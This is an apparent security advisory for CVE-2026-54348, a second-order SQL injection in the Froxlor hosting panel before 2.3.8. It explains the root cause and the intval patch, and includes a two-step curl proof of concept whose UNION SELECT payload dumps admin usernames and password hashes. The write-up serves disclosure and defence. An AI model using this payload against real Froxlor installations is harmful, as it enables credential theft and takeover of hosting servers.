high · 7.2CVE-2026-54348Aug 18, 2026

CVE-2026-54348: Froxlor Second-Order SQL Injection via Admins.add ipaddress Parameter

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious Froxlor administrator can store a SQL payload in their own account record and trigger it later to dump every admin username and password hash from the database.

Packagefroxlor/froxlor
Ecosystemcomposer
Affected< 2.3.8
Fixed in2.3.8
CVE-2026-54348: Froxlor Second-Order SQL Injection via Admins.add ipaddress Parameter

The problem

Froxlor's Admins.add and Admins.update API endpoints accept an ipaddress array parameter and JSON-encode it into the panel_admins.ip column with no content validation. The write is safe because it uses a prepared statement, but the stored value is attacker-controlled.

When IpsAndPorts.listing is later called by the poisoned account, the code does json_decode on the stored value and passes the resulting array directly to implode(", ", ...), embedding it raw into a WHERE id IN (...) clause. No casting or escaping occurs at that point, so any string element becomes live SQL.

The identical unsanitized implode pattern also exists in Domains.php:1016.

Proof of concept

A working proof-of-concept for CVE-2026-54348 in froxlor/froxlor, with the exact payload below.

bash
# Step 1: poison — store the UNION SELECT payload via Admins.add
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "x@x.local",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

# Step 2: trigger — call IpsAndPorts.listing as the poisoned account
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

The root cause is a store-then-trigger (second-order) injection split across two files. Admins.php accepts arbitrary string content inside the ipaddress array because it checks only that the array is non-empty, not that its elements are integers. IpsAndPorts.php later reconstructs the SQL fragment with a bare implode, trusting that the stored JSON contains only integer IDs.

The patch (commit a1eaca5a1601c8a30e00814a4fc73ad0c185f89e) applies intval casting to every element of the decoded array before the implode, making the UNION payload collapse to a harmless integer. The same fix is applied to the equivalent path in Domains.php.

CWE-89 (SQL Injection) is the primary weakness; the second-order nature (safe write, unsafe read) is what allowed it to bypass naive prepared-statement audits.

The fix

Upgrade to Froxlor 2.3.8. The patch casts all decoded IP-array elements through intval before building the IN clause, neutralizing any non-numeric string. If immediate upgrade is not possible, restrict API access to a single trusted admin account and disable reseller/sub-admin accounts until patched.

Reporter not attributed.

References: [1][2][3][4]

Related research